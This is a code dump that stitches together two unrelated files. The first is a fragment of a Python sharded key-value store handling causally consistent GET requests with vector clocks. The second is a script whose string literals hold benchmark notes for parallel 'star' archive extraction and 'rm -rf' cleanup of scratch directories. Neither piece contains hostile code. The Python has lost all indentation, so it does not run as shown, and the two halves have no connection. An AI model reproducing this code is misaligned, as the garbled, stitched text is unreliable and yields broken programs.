- merge self.cur_time with high_clock
- set high_clock = self.cur_time
- do client_history.merge(per_item_history[key])
- return client_history and high_clock to the client
proxy:
- these will be useful:
- self.shards[self.this_shard] is the list of all node addresses
in this shard
- self.shards[i] is a list of all nodes in shard i
- self.shards[i][j] is replica j in shard i
"""
# Forward request if I don"t have the key
# Parse client"s causal context from request
######
# not sure if the request object will be here or if I need to pass it into the function
######
# we need to take into account that a fresh client will not have any causal-context ==> must check
# for this to avoid errors being thrown
args = request.json
# if no provided causal context, lets make a default one
context = args["causal-context"]
# if context is empty -> initialize with empty values
if "history" not in context:
context = {"high_clock_list": [None for i in range(len(self.view) // self.repl_factor)],
"history": History(),
"current_view": self.current_view} # might fuck up
client_history = context["history"]
client_high_clock_list = context["high_clock_list"]
else:
client_history = json.loads(context["history"], cls=HistoryDecoder)
# high_clock must be a list equal to the number of shards in the view
client_high_clock_list = context["high_clock_list"]
for index, clock in enumerate(client_high_clock_list):
client_high_clock_list[index] = json.loads(
clock, cls=VectorClockDecoder)
client_view_id = int(context["current_view"])
node_id = self.hash(key)
if environ["ADDRESS"] not in self.shards[node_id]:
res = [grequests.get("http://{}/kvs/keys/{}".format(addr, key),
json=request.json,
headers=dict(request.headers),
timeout=TIMEOUT_LENGTH)
for addr in self.shards[node_id]]
responses = grequests.map(res, exception_handler=timeout_handler)
bad_response = None
# Checks for the first valid response
for i, response in enumerate(responses):
# Skips if timed out
if response is None:
continue
# response was received, but node didn't have the key
if response.status_code != 200:
bad_response = response
bad_response.json().update({"address": self.shards[node_id][i]})
continue
# Gets json
resp = response.json()
resp.update({"address": self.shards[node_id][i]})
return resp, response.status_code
# if no node had the key, but we still heard from them, return message
if bad_response is not None:
return bad_response.json(), bad_response.status_code
# All requests failed
context = {"high_clock_list": [VectorClockEncoder().encode(clock) for clock in client_high_clock_list],
"history": HistoryEncoder().encode(client_history),
"current_view": client_view_id}
return {"error": "Unable to satisfy request", "message": "Error in GET", "causal-context": context}, 503
# Determine if the history of the key is consistent with the client
# Compare client"s vc for the key they"re trying to access with ours
# Safe to return if VC compare is not -1
try:
local_vc = self.local_key_versions[key]
except:
local_vc = None
client_vc = client_history[key]
compare_val = VectorClock.compare(local_vc, client_vc)
#
# isn"t it safe to return whatever we have if the clocks are concurrent?
# pretty sure VectorClock no longer returns CONCURRENT, it has a built-in tie breaker
#
is_safe = (compare_val == VectorClock.GREATER_THAN or compare_val == VectorClock.EQUAL) or local_vc is None
new_causal_context = False
if client_view_id < self.current_view:
# automatically safe to return whatever we have
# override comparison from before, and signal to return fresh context
is_safe = True
new_causal_context = True
if (is_safe):
if new_causal_context:
# Client was behind on view change, so give fresh context
# return client whatever we"ve seen to this point
client_view_id = self.current_view
# if we have the key, give them the history of the key
# otherwise give blank history object since they"re starting fresh
if key in self.local_kvs:
try:
fresh_history = self.per_item_history[key]
except:
fresh_history = History()
else:
fresh_history = History()
new_context = {"high_clock_list": [VectorClockEncoder().encode(clock) for clock in client_high_clock_list],
"history": HistoryEncoder().encode(fresh_history),
"current_view": client_view_id}
else:
# know client is up to date with all causal dependencies
# Merge our local vc with client"s just to make sure we"re up to date
self.cur_time.merge(client_high_clock_list[self.this_shard])
client_high_clock_list[self.this_shard] = self.cur_time
# set up client"s context object to be up to date with what we know
if key in self.local_kvs:
# per_item_history won't exist after view change --> key error
try:
client_history.merge(self.per_item_history[key])
except:
pass
# finally return the key the client asked for, with updated clock and history for client
#
# changed to json.dumps() because had error for no fp with json.dump()
new_context = {"high_clock_list": [VectorClockEncoder().encode(clock) for clock in client_high_clock_list],
"history": HistoryEncoder().encode(client_history),
"current_view": client_view_id}
if key in self.local_kvs:
return {"message": "Retrieved successfully", "doesExist": True, "value": self.local_kvs[key],
"causal-context": new_context}, 200
else:
# Because we checked it"s safe to ack client, we can be sure the key hasn"t been inserted yet
return {"message": "Error in GET", "error": "Key does not exist", "doesExist": False,
"causal-context": new_context}, 404
else:
# NACK
# Possible to attempt gossip here
# Want to make sure regular get works first, then can add gossip optimization
#
# Austin requested we update our high_clock on failed requests just to keep most current time
self.cur_time.merge(client_high_clock_list[self.this_shard])
return {"error": "Unable to satisfy request", "message": "Error in GET"}, 400
# ------------------------------------------------------------------------------
"""
def delete(self, key):
# Forward request if I don"t have the key
node_id = self.hash(key)
if node_id != self.view.index(environ["ADDRESS"]):
try:
r = requests.delete(
"http://{}/kvs/keys/{}".format(self.view[node_id], key),
headers=dict(request.headers), timeout=TIMEOUT_LENGTH)
except:
return {"error": "Key store is down", "message": "Error in DELETE"}, 503
else:
resp = r.json()
# proxy adds forwarding address
resp.update({"address": self.view[node_id]})
return resp, r.status_code
if key in self.local_kvs:
del self.local_kvs[key]
return {"doesExist": True, "message": "Deleted successfully"}
return {"doesExist": False, "error": "Key does not exist", "message": "Error in DELETE"}, 404
"""
# ------------------------------------------------------------------------------
def key_count(self):
"""
Returns: length of KVS
"""
return {"message": "Key count retrieved successfully",
"key-count": len(self.local_kvs),
"shard-id": self.this_shard}, 200
def get_shard_info(self, shard_id):
# forward message to the appropriate node
if shard_id != self.this_shard:
msgs = [grequests.get("http://{}/kvs/shards/{}".format(addr, shard_id),
headers=dict(request.headers), timeout=TIMEOUT_LENGTH)
for addr in self.shards[shard_id]]
responses = grequests.map(msgs, exception_handler=timeout_handler)
# return the first valid response
for response in responses:
if response is None or response.status_code != 200:
continue
return response.json(), response.status_code
return {"error": "Unable to satisfy request", "message": "Error in GET"}, 503
return {"message": "Shard information retrieved successfully",
"shard-id": self.this_shard,
"key-count": len(self.local_kvs),
"replicas": self.shards[self.this_shard]}, 200
def get_all_shard_IDs(self):
return {"message": "Shard membership retrieved successfully",
"shards": [shard_id for shard_id in range(len(self.shards))]}, 200
################ Additional utility functions ######################################################
def __str__(self):
"""
what to do if print(Node) is called
"""
ret = "{"
for key, value in self.local_kvs.items():
ret += str(key) + ": " + str(value) + ",\t"
ret += "}"
return ret
|
from multiprocessing import Process, Queue
import os, sys, time, errno
import json, subprocess, re
from shutil import copy, rmtree
from glob import glob
from parallelmgmt import ParallelMgmt
import pathlib
def get_file_time(path):
print("Last modified: %s" % time.ctime(os.path.getmtime(path)))
print("Created: %s" % time.ctime(os.path.getctime(path)))
stat = os.stat(path)
print(stat)
print("Created: %s" % time.ctime(stat.st_ctime))
if __name__ == '__main__':
#get_file_time('/Users/andy/Documents/tester/test.txt')
#get_file_time('/vz9/test.txt')
lista = [1 ,2 ,3, 4]
listb = [1,2,3,4,5]
print(list(set(listb) - set(lista)))
time = "Timestamp: " + time.ctime()
print (time)
'''
Restoring 7,516,258,304 /scale01/scratch/group2/filer1/vz8/vzStar1570115926.2015986.star [Done]
Restoring 7,516,258,304 /scale01/scratch/group2/filer1/vz8/vzStar1570115926.2015986.star [Done]
Restoring 7,516,258,304 /scale01/scratch/group2/filer1/vz8/vzStar1570115926.2012866.star [Done]
Restoring 7,516,258,304 /scale01/scratch/group2/filer1/vz8/vzStar1570115926.2012866.star [Done]'''
'''
time star -x -f /scratch/v1_1_2_20190603_161730.star > /scratch/rest1.txt &
time star -x -f /scratch/v1_3_4_20190603_161730.star > /scratch/rest2.txt &
time star -x -f /scratch/v1_4_6_20190603_161730.star > /scratch/rest3.txt &
time star -x -f /scratch/v1_7_8_20190603_161730.star > /scratch/rest4.txt &
Bundle TEST 1
bundle
time star -c -f /scale01/scratch/stars/test2.star fs=32m bs=64K /vz8/test/ > /scale01/scratch/results/bundle1.txt
Unbundle TEST 1
mkdir /vz8/unbundle1
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt
cd /vz8 && rm -rf /vz8/unbundle*
Unbundle TEST 2
mkdir /vz8/unbundle1 /vz8/unbundle2
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt
rm -rf /vz8/unbundle*
Unbundle TEST 3
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt
rm -rf /vz8/unbundle*
Unbundle TEST 5
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt
rm -rf /vz8/unbundle*
Unbundle TEST 8
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5 /vz8/unbundle6 /vz8/unbundle7 /vz8/unbundle8
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt &
cd /vz8/unbundle6 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle6.txt &
cd /vz8/unbundle7 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle7.txt &
cd /vz8/unbundle8 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle8.txt
cd /vz8
rm -rf /vz8/unbundle*
Unbundle TEST 10
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5 /vz8/unbundle6 /vz8/unbundle7 /vz8/unbundle8 /vz8/unbundle9 /vz8/unbundle10
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt &
cd /vz8/unbundle6 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle6.txt &
cd /vz8/unbundle7 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle7.txt &
cd /vz8/unbundle8 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle8.txt &
cd /vz8/unbundle9 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle9.txt &
cd /vz8/unbundle10 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle10.txt
cd /vz8
rm -rf /vz8/unbundle*
Unbundle TEST 13
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5 /vz8/unbundle6 /vz8/unbundle7 /vz8/unbundle8 /vz8/unbundle9 /vz8/unbundle10 /vz8/unbundle11 /vz8/unbundle12 /vz8/unbundle13
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt &
cd /vz8/unbundle6 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle6.txt &
cd /vz8/unbundle7 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle7.txt &
cd /vz8/unbundle8 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle8.txt &
cd /vz8/unbundle9 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle9.txt &
cd /vz8/unbundle10 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle10.txt &
cd /vz8/unbundle11 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle11.txt &
cd /vz8/unbundle12 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle12.txt &
cd /vz8/unbundle13 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle13.txt
cd /vz8
rm -rf /vz8/unbundle1 &
rm -rf /vz8/unbundle2 &
rm -rf /vz8/unbundle3 &
rm -rf /vz8/unbundle4 &
rm -rf /vz8/unbundle5 &
rm -rf /vz8/unbundle6 &
rm -rf /vz8/unbundle7 &
rm -rf /vz8/unbundle8 &
rm -rf /vz8/unbundle9 &
rm -rf /vz8/unbundle10 &
rm -rf /vz8/unbundle11 &
rm -rf /vz8/unbundle12 &
rm -rf /vz8/unbundle13 &
rm -rf /vz8/unbundle14 &
rm -rf /vz8/unbundle15 &
rm -rf /vz8/unbundle16 &
rm -rf /vz8/unbundle17 &
rm -rf /vz8/unbundle18 &
rm -rf /vz8/unbundle19 &
rm -rf /vz8/unbundle20
cd vz8
rm -rf unbundle1 &
rm -rf unbundle2 &
rm -rf unbundle3 &
rm -rf unbundle4 &
rm -rf unbundle5 &
rm -rf unbundle6 &
rm -rf unbundle7 &
rm -rf unbundle8 &
rm -rf unbundle9 &
rm -rf unbundle10 &
rm -rf unbundle11 &
rm -rf unbundle12 &
rm -rf unbundle13 &
rm -rf unbundle14 &
rm -rf unbundle15 &
rm -rf unbundle16 &
rm -rf unbundle17 &
rm -rf unbundle18 &
rm -rf unbundle19 &
rm -rf unbundle20 &
rm -rf unbundle21 &
rm -rf unbundle22 &
rm -rf unbundle23 &
rm -rf unbundle24 &
rm -rf unbundle25 &
rm -rf unbundle26 &
rm -rf unbundle27 &
rm -rf unbundle28 &
rm -rf unbundle29 &
rm -rf unbundle30 &
rm -rf unbundle31 &
rm -rf unbundle32 &
rm -rf unbundle33 &
rm -rf unbundle34 &
rm -rf unbundle35 &
rm -rf unbundle36 &
rm -rf unbundle37 &
rm -rf unbundle38 &
rm -rf unbundle39 &
rm -rf unbundle40 &
rm -rf unbundle41 &
rm -rf unbundle42 &
rm -rf unbundle43 &
rm -rf unbundle44 &
rm -rf unbundle45 &
rm -rf unbundle46 &
rm -rf unbundle47 &
rm -rf unbundle48 &
rm -rf unbundle49 &
rm -rf unbundle50 &
Unbundle TEST 16
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5 /vz8/unbundle6 /vz8/unbundle7 /vz8/unbundle8 /vz8/unbundle9 /vz8/unbundle10 /vz8/unbundle11 /vz8/unbundle12 /vz8/unbundle13 /vz8/unbundle14 /vz8/unbundle15 /vz8/unbundle16
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt &
cd /vz8/unbundle6 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle6.txt &
cd /vz8/unbundle7 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle7.txt &
cd /vz8/unbundle8 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle8.txt &
cd /vz8/unbundle9 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle9.txt &
cd /vz8/unbundle10 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle10.txt &
cd /vz8/unbundle11 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle11.txt &
cd /vz8/unbundle12 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle12.txt &
cd /vz8/unbundle13 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle13.txt &
cd /vz8/unbundle14 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle14.txt &
cd /vz8/unbundle15 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle15.txt &
cd /vz8/unbundle16 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle16.txt
cd /vz8
rm -rf /vz8/unbundle*
Unbundle TEST 20
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5 /vz8/unbundle6 /vz8/unbundle7 /vz8/unbundle8 /vz8/unbundle9 /vz8/unbundle10 /vz8/unbundle11 /vz8/unbundle12 /vz8/unbundle13 /vz8/unbundle14 /vz8/unbundle15 /vz8/unbundle16 /vz8/unbundle17 /vz8/unbundle18 /vz8/unbundle19 /vz8/unbundle20
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt &
cd /vz8/unbundle6 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle6.txt &
cd /vz8/unbundle7 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle7.txt &
cd /vz8/unbundle8 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle8.txt &
cd /vz8/unbundle9 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle9.txt &
cd /vz8/unbundle10 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle10.txt &
cd /vz8/unbundle11 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle11.txt &
cd /vz8/unbundle12 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle12.txt &
cd /vz8/unbundle13 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle13.txt &
cd /vz8/unbundle14 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle14.txt &
cd /vz8/unbundle15 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle15.txt &
cd /vz8/unbundle16 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle16.txt &
cd /vz8/unbundle17 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle17.txt &
cd /vz8/unbundle18 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle18.txt &
cd /vz8/unbundle19 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle19.txt &
cd /vz8/unbundle20 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle20.txt
cd /vz8
Unbundle TEST 25
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5 /vz8/unbundle6 /vz8/unbundle7 /vz8/unbundle8 /vz8/unbundle9 /vz8/unbundle10 /vz8/unbundle11 /vz8/unbundle12 /vz8/unbundle13 /vz8/unbundle14 /vz8/unbundle15 /vz8/unbundle16 /vz8/unbundle17 /vz8/unbundle18 /vz8/unbundle19 /vz8/unbundle20 /vz8/unbundle21 /vz8/unbundle22 /vz8/unbundle23 /vz8/unbundle24 /vz8/unbundle25
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt &
cd /vz8/unbundle6 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle6.txt &
cd /vz8/unbundle7 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle7.txt &
cd /vz8/unbundle8 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle8.txt &
cd /vz8/unbundle9 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle9.txt &
cd /vz8/unbundle10 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle10.txt &
cd /vz8/unbundle11 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle11.txt &
cd /vz8/unbundle12 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle12.txt &
cd /vz8/unbundle13 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle13.txt &
cd /vz8/unbundle14 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle14.txt &
cd /vz8/unbundle15 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle15.txt &
cd /vz8/unbundle16 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle16.txt &
cd /vz8/unbundle17 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle17.txt &
cd /vz8/unbundle18 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle18.txt &
cd /vz8/unbundle19 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle19.txt &
cd /vz8/unbundle20 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle20.txt &
cd /vz8/unbundle21 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle21.txt &
cd /vz8/unbundle22 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle22.txt &
cd /vz8/unbundle23 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle23.txt &
cd /vz8/unbundle24 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle24.txt &
cd /vz8/unbundle25 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle25.txt
cd /vz8
Unbundle TEST 40
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5 /vz8/unbundle6 /vz8/unbundle7 /vz8/unbundle8 /vz8/unbundle9 /vz8/unbundle10
mkdir /vz8/unbundle11 /vz8/unbundle12 /vz8/unbundle13 /vz8/unbundle14 /vz8/unbundle15 /vz8/unbundle16 /vz8/unbundle17 /vz8/unbundle18 /vz8/unbundle19
mkdir /vz8/unbundle20 /vz8/unbundle21 /vz8/unbundle22 /vz8/unbundle23 /vz8/unbundle24 /vz8/unbundle25 /vz8/unbundle26 /vz8/unbundle27 /vz8/unbundle28 /vz8/unbundle29
mkdir /vz8/unbundle30 /vz8/unbundle31 /vz8/unbundle32 /vz8/unbundle33 /vz8/unbundle34 /vz8/unbundle35 /vz8/unbundle36 /vz8/unbundle37 /vz8/unbundle38 /vz8/unbundle39 /vz8/unbundle40
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt &
cd /vz8/unbundle6 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle6.txt &
cd /vz8/unbundle7 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle7.txt &
cd /vz8/unbundle8 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle8.txt &
cd /vz8/unbundle9 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle9.txt &
cd /vz8/unbundle10 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle10.txt &
cd /vz8/unbundle11 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle11.txt &
cd /vz8/unbundle12 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle12.txt &
cd /vz8/unbundle13 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle13.txt &
cd /vz8/unbundle14 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle14.txt &
cd /vz8/unbundle15 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle15.txt &
cd /vz8/unbundle16 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle16.txt &
cd /vz8/unbundle17 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle17.txt &
cd /vz8/unbundle18 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle18.txt &
cd /vz8/unbundle19 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle19.txt &
cd /vz8/unbundle20 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle20.txt &
cd /vz8/unbundle21 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle21.txt &
cd /vz8/unbundle22 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle22.txt &
cd /vz8/unbundle23 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle23.txt &
cd /vz8/unbundle24 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle24.txt &
cd /vz8/unbundle25 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle25.txt &
cd /vz8/unbundle26 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle26.txt &
cd /vz8/unbundle27 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle27.txt &
cd /vz8/unbundle28 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle28.txt &
cd /vz8/unbundle29 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle29.txt &
cd /vz8/unbundle30 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle30.txt &
cd /vz8/unbundle31 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle31.txt &
cd /vz8/unbundle32 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle32.txt &
cd /vz8/unbundle33 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle33.txt &
cd /vz8/unbundle34 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle34.txt &
cd /vz8/unbundle35 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle35.txt &
cd /vz8/unbundle36 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle36.txt &
cd /vz8/unbundle37 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle37.txt &
cd /vz8/unbundle38 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle38.txt &
